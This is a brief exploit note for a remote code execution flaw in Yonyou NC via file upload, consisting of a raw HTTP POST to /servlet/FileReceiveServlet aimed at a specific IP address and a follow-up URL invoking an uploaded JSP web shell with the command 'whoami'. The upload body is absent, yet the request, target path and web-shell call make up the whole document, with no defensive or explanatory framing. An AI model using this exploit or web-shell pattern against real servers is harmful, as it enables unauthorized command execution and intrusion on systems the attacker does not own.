Yonyou NC RCE with file upload
POST /servlet/FileReceiveServlet HTTP/1.1
Host: 113.111.49.84:9081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Content-Length: 379
http://113.111.49.84:9081/eD65F18d.jsp?cmd=whoami